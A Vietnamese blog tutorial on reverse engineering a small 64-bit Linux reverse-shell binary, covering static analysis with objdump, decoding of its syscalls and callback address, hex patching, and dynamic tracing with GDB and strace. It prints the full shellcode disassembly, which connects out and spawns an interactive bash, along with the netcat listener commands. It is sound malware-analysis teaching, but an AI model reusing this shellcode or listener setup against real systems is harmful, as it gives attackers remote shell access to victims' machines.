Skip to main content

Command Palette

Search for a command to run...

Binary 106: Reverse Shell Analysis

Thực hành phân tích một Reverse Shell cơ bản trên Linux.

Updated
19 min read

Bài trước đã đi phân tích một BindShell đơn giản, đặc điểm của loại chương trình này là nó mở cổng phía Victim sau đó đợi kết nối từ bên ngoài đến. Điều này làm lộ rõ những hạn chế nhất định như: Dễ bị các AV phát hiện, không bypass được Firewall,.. Trong thế giới thực, thường Firewall sẽ chỉ cho phép truy cập thông qua một số port nhất định. Bài này sẽ đi phân tích một Reverse Shell đơn giản, không như Bindshell mở cổng trên máy Victim, ReverseShell sẽ chủ động kết nối ra bên ngoài mạng đến một Server đã mở cổng và lắng nghe sẵn do hacker dựng lên.

1. Trích xuất thông tin tự động

Trong bài Phân tích BindShell trước đó, ở bước thu thập thông tin, chúng ta đã sử dụng các công cụ có sẵn như: file, strings, objdump, readelf, hexdump,.. để trích xuất thông tin cũng như phân tích một cách thủ công các tệp ELF. Phần này sẽ sử dụng Bash Script để tự động hóa các bước này.

Chạy Bash Script để lấy nhanh kết quả:

\( ./bac-automation.sh ch07-revshell64 "output-\)(date +%m-%d-%Y-%H:%M:%S).txt"
FILE TYPE INFORMATION

ch07-revshell64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
...

Nhìn vào kết quả được lưu trong tệp *.txt, ta thấy chuỗi: "ch07-revshell64.nasm"

STRINGS INFORMATION

////bashSH  |  /////binSH  |  Pfh-iH  |  PVWH  |  **ch07-revshell64.nasm**  |  __bss_start  |  _edata  |  _end  |  .symtab  |  .strtab  |  .shstrtab  |  .text  |

Có duy nhất một Section .text

Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  LOAD           0x000000 0x0000000000400000 0x0000000000400000 0x000121 0x000121 R E 0x200000

 Section to Segment mapping:
  Segment Sections...
   00     .text

Rất ít thông tin trong Symbol Table:

Symbol table '.symtab' contains 7 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000400080     0 SECTION LOCAL  DEFAULT    1
     2: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS **ch07-revshell64.nasm**
     3: 0000000000400080     0 NOTYPE  GLOBAL DEFAULT    1 _start
     4: 0000000000600121     0 NOTYPE  GLOBAL DEFAULT    1 __bss_start
     5: 0000000000600121     0 NOTYPE  GLOBAL DEFAULT    1 _edata
     6: 0000000000600128     0 NOTYPE  GLOBAL DEFAULT    1 _end

Như vậy bước đầu ta có thể xác định được tệp ELF này được viết bằng Assembly, chương trình rất tinh gọn, không có nhiều thông tin dư thừa đi kèm.

2. Phân tích tĩnh Objdump

Tương tự như khi phân tích bindshell, tôi vẫn dùng objdump là công cụ chính khi phân tích tĩnh reverse shell. Nhìn vào output của objdump có thể thấy nó không nhận diện được các khối mã như với bindshell trước đó, vì đây là x86_64 Assembly. Do vậy, chúng ta sẽ tự chia các đoạn code thành các khối, với mối khối kết thúc bằng lệnh Syscall, lấy địa chỉ đầu làm tên khối.

  • Kết quả của objdump khi disassembly reverse shell**:**

    OBJDUMP EXECUTABLE
    
    ch07-revshell64:     file format elf64-x86-64
    
    Disassembly of section .text:
    
    ; <sub_400080>
    0000000000400080 <_start>:
      400080:       48 31 c0                xor    rax,rax
      400083:       b0 29                   mov    al,0x29
      400085:       48 31 ff                xor    rdi,rdi
      400088:       40 80 c7 02             add    dil,0x2
      40008c:       48 31 f6                xor    rsi,rsi
      40008f:       48 83 c6 01             add    rsi,0x1
      400093:       48 31 d2                xor    rdx,rdx
      400096:       0f 05                   syscall
    
    ; <sub_400098>
      400098:       48 89 c7                mov    rdi,rax
      40009b:       48 31 c0                xor    rax,rax
      40009e:       50                      push   rax
      40009f:       c7 44 24 fc 0a 00 02    mov    DWORD PTR [rsp-0x4],0xf02000a
      4000a6:       0f
      4000a7:       66 c7 44 24 fa 7a 69    mov    WORD PTR [rsp-0x6],0x697a
      4000ae:       89 44 24 f6             mov    DWORD PTR [rsp-0xa],eax
      4000b2:       c6 44 24 f8 02          mov    BYTE PTR [rsp-0x8],0x2
      4000b7:       48 83 ec 08             sub    rsp,0x8
      4000bb:       48 31 c0                xor    rax,rax
      4000be:       b0 2a                   mov    al,0x2a
      4000c0:       48 89 e6                mov    rsi,rsp
      4000c3:       48 31 d2                xor    rdx,rdx
      4000c6:       48 83 c2 10             add    rdx,0x10
      4000ca:       0f 05                   syscall
    
    ; <sub_4000cc>
      4000cc:       48 31 c0                xor    rax,rax
      4000cf:       b0 21                   mov    al,0x21
      4000d1:       48 31 f6                xor    rsi,rsi
      4000d4:       0f 05                   syscall
      4000d6:       48 31 c0                xor    rax,rax
      4000d9:       b0 21                   mov    al,0x21
      4000db:       48 ff c6                inc    rsi
      4000de:       0f 05                   syscall
      4000e0:       48 31 c0                xor    rax,rax
      4000e3:       b0 21                   mov    al,0x21
      4000e5:       48 ff c6                inc    rsi
      4000e8:       0f 05                   syscall
    
    ; <sub_4000ea>
      4000ea:       48 31 c0                xor    rax,rax
      4000ed:       50                      push   rax
      4000ee:       48 31 db                xor    rbx,rbx
      4000f1:       48 bb 2f 2f 2f 2f 62    movabs rbx,0x687361622f2f2f2f
      4000f8:       61 73 68
      4000fb:       53                      push   rbx
      4000fc:       48 bb 2f 2f 2f 2f 2f    movabs rbx,0x6e69622f2f2f2f2f
      400103:       62 69 6e
      400106:       53                      push   rbx
      400107:       48 89 e7                mov    rdi,rsp
      40010a:       50                      push   rax
      40010b:       66 68 2d 69             pushw  0x692d
      40010f:       48 89 e6                mov    rsi,rsp
      400112:       50                      push   rax
      400113:       56                      push   rsi
      400114:       57                      push   rdi
      400115:       48 89 e6                mov    rsi,rsp
      400118:       48 31 d2                xor    rdx,rdx
      40011b:       48 83 c0 3b             add    rax,0x3b
      40011f:       0f 05                   syscall
    

Giải thích:

  • Phân tích <sub_400080>:

    • Tại 400083: AL=0x29 ⇒ Tra cứu trong: unistd_64.h ta được: #define __NR_socket 41 ⇒ Tra cứu trong Man Page ta được: int socket(int domain, int type, int protocol);

    • Tại 400080, 400085, 40008c, 400093: Là các lệnh reset các thanh ghi RAX, RDI, RSI, RDX. Đây đều là các thanh ghi thiết lập các Param và System Call Number cho hàm socket. Hàm này khi được gọi thành công sẽ trả về một File Descriptor - sockfd, lưu vào RAX.

    • Tại 400088, 40008f, 400093: Khởi tạo giá trị cho các Param 1 (PF_INET), Param 2 (SOCK_STREAM), Param 3 (IPPROTO_IP) của hàm socket. Điểm khác biệt ở đây so với bindshell lần trước là nó ko dùng TCP mà dùng IP.

    • Tại 400096: Thực hiện System Call thông qua lệnh syscall

    • Như vậy khối code thứ nhất thực hiện khởi tạo socket: socket(PF_INET, SOCK_STREAM, IPPROTO_IP)

  • Phân tích <sub_400098>:

    • Tại 400098: sockfd được lưu vào RDI.

    • Tại 40009e: Ta thấy chương trình dùng lệnh PUSH để đẩy một thanh ghi 64-bits lên Stack nhưng bên dưới từ 4000a7 đến 4000b2 nó lại không dùng lệnh này mà thay vào đó là lệnh MOV. Lý do là vì trong x86_64 Assembly lệnh PUSH chỉ đẩy được thanh ghi 64-bits, 16-bits lên Stack, với 32-bits sẽ không hợp lệ.

    • Tại 40009f: Ta thử decode dữ liệu được đưa lên Stack, dữ liệu không hiển thị được như mong muốn như khi phân tích bindshell như bài trước. Lý do là vì đây không phải dạng chuỗi ký tự có thể hiển thị được, dữ liệu này là một địa chỉ IP đã được convert sang dạng hex. Ta sẽ decode như sau:

      $ python
      >>> '0f02000a'.decode('hex')[::-1]
      '\n\x00\x02\x0f'
      >>> import socket
      >>> socket.inet_ntoa('0a00020f'.decode('hex'))
      '10.0.2.15'
      
    • Khi đã có địa chỉ IP mà ReverShell kết nối đến, vậy ta hoàn toàn có thể đoán tại 4000a7 là đưa Port number lên Stack. Decode như sau:

      $ python
      >>> int('7a69', 16)
      31337
      >>> 0x7a69
      31337
      
    • Từ 4000ae đến 4000c6: Một loạt các thao tác thiết lập Stack phức tạp được thực hiện, phần này tôi sẽ không trình bày kỹ vì nó rất dài dòng. Về cơ bản chúng ta chỉ cần nắm được nguyên tắc trước khi thực hiện Syscall, chương trình sẽ thực hiện thiết lập các tham số theo thứ tự đã trình bày ở bài: “Binary 103: Linux 64-bit Assembly” trước đó đã trình bày. Sang bước sau phân tích động, khi chúng ta quan sát trạng thái các thanh ghi, ngăn xếp,.. khi đó sẽ dễ hình dung hơn.

    • Như vậy với khối code này ta sẽ có được như sau: AL=0x2a là System Call Number ⇒ #define __NR_connect 42 ⇒ Kiểm tra trong Man Page: int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);. Param 1 (RDI) = 0x3 (sockfd), Param 2 (RSI) = {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("10.0.2.15")}, Param 3 (RDX) = 16.

    • Tóm lại khối này thực hiện kết nối đến máy chủ của Hacker: connect(sockfd, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("10.0.2.15")}, 16)

  • Phân tích <sub_4000cc>:

    • Khối này thực hiện 3 lần gọi: dup2(3, 0), dup2(3, 1), dup2(3, 2) tương đương dup2(sockfd, STDIN), dup2(sockfd, STDOUT), dup2(sockfd, STDERR).
  • Phân tích <sub_4000ea>:

    • Tại 4000f1, 4000fc, 40010b: đẩy dữ liệu dạng hex lên Stack. Decode các giá trị hex này:

      $ python
      >>> a = '6e69622f2f2f2f2f'.decode('hex')[::-1]
      >>> b = '687361622f2f2f2f'.decode('hex')[::-1]
      >>> final = a + b
      >>> final
      '/////bin////bash'
      
    • Trên Linux, hệ thống chấp nhận gọi một chương trình với nhiều ký tự '/', chương trình shell này lợi dụng để điền vào nhiều ký tự đó sao cho vừa đủ với kích thước 64-bits của thanh ghi. Tương tự tại 40010b, decode dữ liệu đưa lên Stack ta được:

      $ python
      >>> '692d'.decode('hex')[::-1]
      '-i'
      
    • Tại 400115: RSI trỏ vào đỉnh Stack ⇒ trỏ đến chuỗi: "/////bin////bash -i".

    • Tại 40011b: System Call Number được sao chép vào RAX. RAX=0x3b#define __NR_execve 59int execve(const char *filename, char *const argv[], char *const envp[]);

    • Tại 40011f: Thực hiện System Call

    • Như vậy khối này sẽ gọi hàm execve để gọi ra Bash Shell.

3. Patching binary

Nhìn vào kết quả phân tích tĩnh ở trên có thể thấy được chương trình shell cố gắng kết nối đến máy có địa chỉ IP: 10.0.2.15, Port: 31337. Đây là một địa chỉ IP cục bộ. Như vậy để chương trình có thể hoạt động đúng và chính xác với những gì mong muốn trong bước phân tích động, chúng ta có 2 cách:

  1. Tạo một máy ảo giả lập làm máy của Hacker, đặt địa chỉ IP của máy đó thành 10.0.2.15, sau đó sử dụng netcat ****chạy lắng nghe trên Port 31337.

  2. Sửa đổi Binary của Shell, thay 10.0.2.15 thành 127.0.0.1 hoặc 127.1.1.1, sau đó dùng netcat lắng nghe trên 127.0.0.1:31337. Lúc này revershell thay vì kết nối đến địa chỉ IP của hacker thì sẽ kết nối đến Localhost. Cách này sẽ không mất công thiết lập máy ảo mới ⇒ Tôi sẽ sử dụng cách này.

Sử dụng bất kỳ một chương trình HexEditor nào đó, ví dụ: Hexedit, 010 Editor, HxD,.v.v.. Mở tệp sau đó search chuỗi byte sau: "0A00020F". Đây là địa chỉ ip đã phân tích được ở bước trước.

$ hexedit ch07-revshell64
00000000   7F 45 4C 46  02 01 01 00  00 00 00 00  00 00 00 00  02 00 3E 00  01 00 00 00  80 00 40 00  .ELF..............>.......@.
0000001C   00 00 00 00  40 00 00 00  00 00 00 00  20 02 00 00  00 00 00 00  00 00 00 00  40 00 38 00  ....@....... ...........@.8.
00000038   01 00 40 00  05 00 02 00  01 00 00 00  05 00 00 00  00 00 00 00  00 00 00 00  00 00 40 00  ..@.......................@.
00000054   00 00 00 00  00 00 40 00  00 00 00 00  21 01 00 00  00 00 00 00  21 01 00 00  00 00 00 00  ......@.....!.......!.......
00000070   00 00 20 00  00 00 00 00  00 00 00 00  00 00 00 00  48 31 C0 B0  29 48 31 FF  40 80 C7 02  .. .............H1..)H1.@...
0000008C   48 31 F6 48  83 C6 01 48  31 D2 0F 05  48 89 C7 48  31 C0 50 C7  44 24 FC **0A  00 02 0F** 66  H1.H...H1...H..H1.P.D$.....f
000000A8   C7 44 24 FA  7A 69 89 44  24 F6 C6 44  24 F8 02 48  83 EC 08 48  31 C0 B0 2A  48 89 E6 48  .D\(.zi.D\)..D$..H...H1..*H..H
000000C4   31 D2 48 83  C2 10 0F 05  48 31 C0 B0  21 48 31 F6  0F 05 48 31  C0 B0 21 48  FF C6 0F 05  1.H.....H1..!H1...H1..!H....
000000E0   48 31 C0 B0  21 48 FF C6  0F 05 48 31  C0 50 48 31  DB 48 BB 2F  2F 2F 2F 62  61 73 68 53  H1..!H....H1.PH1.H.////bashS
000000FC   48 BB 2F 2F  2F 2F 2F 62  69 6E 53 48  89 E7 50 66  68 2D 69 48  89 E6 50 56  57 48 89 E6  H./////binSH..Pfh-iH..PVWH..
00000118   48 31 D2 48  83 C0 3B 0F  05 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  H1.H..;.....................
00000134   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  03 00 01 00  80 00 40 00  00 00 00 00  ......................@.....
00000150   00 00 00 00  00 00 00 00  01 00 00 00  04 00 F1 FF  00 00 00 00  00 00 00 00  00 00 00 00  ............................
0000016C   00 00 00 00  1B 00 00 00  10 00 01 00  80 00 40 00  00 00 00 00  00 00 00 00  00 00 00 00  ..............@.............
00000188   16 00 00 00  10 00 01 00  21 01 60 00  00 00 00 00  00 00 00 00  00 00 00 00  22 00 00 00  ........!.`............."...
000001A4   10 00 01 00  21 01 60 00  00 00 00 00  00 00 00 00  00 00 00 00  29 00 00 00  10 00 01 00  ....!.`.............).......
000001C0   28 01 60 00  00 00 00 00  00 00 00 00  00 00 00 00  00 63 68 30  37 2D 72 65  76 73 68 65  (.`..............ch07-revshe
000001DC   6C 6C 36 34  2E 6E 61 73  6D 00 5F 5F  62 73 73 5F  73 74 61 72  74 00 5F 65  64 61 74 61  ll64.nasm.__bss_start._edata
000001F8   00 5F 65 6E  64 00 00 2E  73 79 6D 74  61 62 00 2E  73 74 72 74  61 62 00 2E  73 68 73 74  ._end...symtab..strtab..shst
00000214   72 74 61 62  00 2E 74 65  78 74 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  rtab..text..................
00000230   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ............................
0000024C   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  1B 00 00 00  01 00 00 00  ............................
00000268   06 00 00 00  00 00 00 00  80 00 40 00  00 00 00 00  80 00 00 00  00 00 00 00  A1 00 00 00  ..........@.................
00000284   00 00 00 00  00 00 00 00  00 00 00 00  10 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ............................
000002A0   11 00 00 00  03 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  FE 01 00 00  ............................
000002BC   00 00 00 00  21 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  ....!.......................
000002D8   00 00 00 00  00 00 00 00  01 00 00 00  02 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ............................
000002F4   00 00 00 00  28 01 00 00  00 00 00 00  A8 00 00 00  00 00 00 00  04 00 00 00  03 00 00 00  ....(.......................
00000310   08 00 00 00  00 00 00 00  18 00 00 00  00 00 00 00  09 00 00 00  03 00 00 00  00 00 00 00  ............................
0000032C   00 00 00 00  00 00 00 00  00 00 00 00  D0 01 00 00  00 00 00 00  2E 00 00 00  00 00 00 00  ............................
00000348   00 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00               ........................

Trong HexEdit để search một chuỗi hex bytes, nhấn Ctrl+S sau đó điền chuỗi bytes viết liền không có khoảng trắng vào để tìm kiếm. Kết quả ta tìm được chuỗi địa chỉ ip có vị trí bắt đầu tại 0xA3 đến 0xA6. Sửa các chuỗi bytes này thành: "7F010101", đây là địa chỉ IP: 127.1.1.1 nó tương tự như 127.0.0.1 sau khi chuyển đổi. Ctrl+X để lưu và thoát.

Kiểm tra bằng cách dùng objdump để disassembly tệp đã được sửa, và quan sát kết quả dưới đây:

$ objdump -d -M intel ch07-revshell64-edited
...
  400098:       48 89 c7                mov    rdi,rax
  40009b:       48 31 c0                xor    rax,rax
  40009e:       50                      push   rax
  40009f:       c7 44 24 fc 7f 01 01    **mov    DWORD PTR [rsp-0x4],0x101017f**
  4000a6:       01
...

Quan sát tại 40009f, chúng ta đã sửa đổi thành công địa chỉ IP của Shell. Lúc này khi chạy chương trình nó sẽ kết nối đến 127.1.1.1:31337

4. Phân tích động với GDB/PEDA/STRACE

Trước tiên hãy chạy netcat lắng nghe trên Port 31337 như sau:

$ nc -lnvp 31337
Listening on [0.0.0.0] (family 0, port 31337)

Kiểm tra lại, đảm bảo những gì ta thực hiện là chính xác:

$ sudo netstat -plant | grep 31337
tcp        0      0 0.0.0.0:31337           0.0.0.0:*               LISTEN      58451/nc

Sử dụng GDB/PEDA để debugging chương trình Reverse Shell đã được Patched địa chỉ IP ở bước trước:

$ gdb ch07-revshell64-edited
gdb-peda$ start
gdb-peda$ pdisass _start
Dump of assembler code for function _start:
=> 0x0000000000400080 <+0>:     xor    rax,rax
   0x0000000000400083 <+3>:     mov    al,0x29
   0x0000000000400085 <+5>:     xor    rdi,rdi
   0x0000000000400088 <+8>:     add    dil,0x2
   0x000000000040008c <+12>:    xor    rsi,rsi
   0x000000000040008f <+15>:    add    rsi,0x1
   0x0000000000400093 <+19>:    xor    rdx,rdx
   **0x0000000000400096 <+22>:    syscall**
   0x0000000000400098 <+24>:    mov    rdi,rax
   0x000000000040009b <+27>:    xor    rax,rax
   0x000000000040009e <+30>:    push   rax
   0x000000000040009f <+31>:    mov    DWORD PTR [rsp-0x4],0x101017f
   0x00000000004000a7 <+39>:    mov    WORD PTR [rsp-0x6],0x697a
   0x00000000004000ae <+46>:    mov    DWORD PTR [rsp-0xa],eax
   0x00000000004000b2 <+50>:    mov    BYTE PTR [rsp-0x8],0x2
   0x00000000004000b7 <+55>:    sub    rsp,0x8
   0x00000000004000bb <+59>:    xor    rax,rax
   0x00000000004000be <+62>:    mov    al,0x2a
   0x00000000004000c0 <+64>:    mov    rsi,rsp
   0x00000000004000c3 <+67>:    xor    rdx,rdx
   0x00000000004000c6 <+70>:    add    rdx,0x10
   **0x00000000004000ca <+74>:    syscall**
   0x00000000004000cc <+76>:    xor    rax,rax
   0x00000000004000cf <+79>:    mov    al,0x21
   0x00000000004000d1 <+81>:    xor    rsi,rsi
   0x00000000004000d4 <+84>:    syscall
   0x00000000004000d6 <+86>:    xor    rax,rax
   0x00000000004000d9 <+89>:    mov    al,0x21
   0x00000000004000db <+91>:    inc    rsi
   0x00000000004000de <+94>:    syscall
   0x00000000004000e0 <+96>:    xor    rax,rax
   0x00000000004000e3 <+99>:    mov    al,0x21
   0x00000000004000e5 <+101>:   inc    rsi
   0x00000000004000e8 <+104>:   syscall
   0x00000000004000ea <+106>:   xor    rax,rax
   0x00000000004000ed <+109>:   push   rax
   0x00000000004000ee <+110>:   xor    rbx,rbx
   0x00000000004000f1 <+113>:   movabs rbx,0x687361622f2f2f2f
   0x00000000004000fb <+123>:   push   rbx
   0x00000000004000fc <+124>:   movabs rbx,0x6e69622f2f2f2f2f
   0x0000000000400106 <+134>:   push   rbx
   0x0000000000400107 <+135>:   mov    rdi,rsp
   0x000000000040010a <+138>:   push   rax
   0x000000000040010b <+139>:   pushw  0x692d
   0x000000000040010f <+143>:   mov    rsi,rsp
   0x0000000000400112 <+146>:   push   rax
   0x0000000000400113 <+147>:   push   rsi
   0x0000000000400114 <+148>:   push   rdi
   0x0000000000400115 <+149>:   mov    rsi,rsp
   0x0000000000400118 <+152>:   xor    rdx,rdx
   0x000000000040011b <+155>:   add    rax,0x3b
   **0x000000000040011f <+159>:   syscall**
End of assembler dump.

Đặt Breakpoint tại một số điểm gọi Syscall sau: _start+22, _start+74 và _start+159. Kiểm tra lại một lượt các breakpoint đã set bằng lệnh info breakpoints. Cuối cùng thực thi lệnh: continue

gdb-peda$ br * _start+22
Breakpoint 2 at 0x400096
gdb-peda$ br * _start+74
Breakpoint 3 at 0x4000ca
gdb-peda$ br * _start+159
Breakpoint 4 at 0x40011f
gdb-peda$ info breakpoints
Num     Type           Disp Enb Address            What
2       breakpoint     keep y   0x0000000000400096 <_start+22>
3       breakpoint     keep y   0x00000000004000ca <_start+74>
4       breakpoint     keep y   0x000000000040011f <_start+159>
gdb-peda$ continue
...

Tại điểm đặt breakpoint thứ 1, nơi chương trình bắt đầu thiết lập Socket: socket(PF_INET, SOCK_STREAM, IPPROTO_IP)

Nhập lệnh continue để tiếp tục nhảy đến breakpoint thứ 2 đã đặt. Tại đây, chương trình thực hiện gọi hàm: connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); với tham số *addr (RSI) đang trỏ đến một cấu trúc dữ liệu bao gồm địa chỉ IP 127.1.1.1 đã đc Patched và số hiệu Port là 31337. PEDA nhận diện các Guessed arguments rất trực quan. Hãy xem hình dưới:

Kiểm tra Logs của netcat sẽ thấy như sau, báo hiệu có một client đã kết nối đến:

$ nc -lnvp 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [127.0.0.1] port 31337 [tcp/*] accepted (family 2, sport 45662)

Tương tự, ta sẽ đến được breakpoint thứ 3 đã đặt. Tại đây quan sát trạng thái thanh ghi và Stack. Chương trình thực hiện gọi hàm execve với tham số truyền vào là chuỗi: "/////bin////bash -i". Quan sát hình dưới đây để thấy trực quan hơn:

Như vậy trong phần này chúng ta đã đi phân tích một Reverse Shell 64-bits đơn giản. Ngoài ra có thể sử dụng Strace để phân tích nhanh hơn và cũng là để xác minh lại những gì chúng ta đã phân tích tĩnh và động trước đó. Có nhiều công cụ và cách thức khác nhau để giải quyết một vấn đề sẽ tốt hơn là chỉ có một công cụ cho một vấn đề:

Khởi chạy netcat:

$ nc -lnvp 31337
Listening on [0.0.0.0] (family 0, port 31337)

Kiểm tra với netstat:

$ sudo netstat -plant | grep -i 'listen'
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN      1123/dnsmasq
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1013/sshd
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      55231/cupsd
**tcp        0      0 0.0.0.0:31337           0.0.0.0:*               LISTEN      58606/nc**
...

Monitor bằng Strace. Để tránh "nhiễu" trong kết quả, tôi sẽ lọc theo một nhóm các API nhất định:

$ strace -itx -e trace=process,network ./ch07-revshell64-edited
17:48:54 [00007f7fe75547f7] execve("./ch07-revshell64-edited", ["./ch07-revshell64-edited"], [/* 22 vars */]) = 0
17:48:54 [0000000000400098] socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
17:48:54 [00000000004000cc] connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("127.1.1.1")}, 16) = 0
17:48:54 [0000000000400121] execve("/////bin////bash", ["/////bin////bash", "-i"], NULL) = 0
...

Kiểm tra lại logs trên netcat:

$ nc -lnvp 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [127.0.0.1] port 31337 [tcp/*] accepted (family 2, sport 45666)
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

osboxes@bac64:/home/osboxes$ exit

Kết quả trên Strace:

$ strace -itx -e trace=process,network ./ch07-revshell64-edited
...
17:48:57 [00007fe6d14077c8] exit_group(0) = ?
17:48:57 [????????????????] +++ exited with 0 +++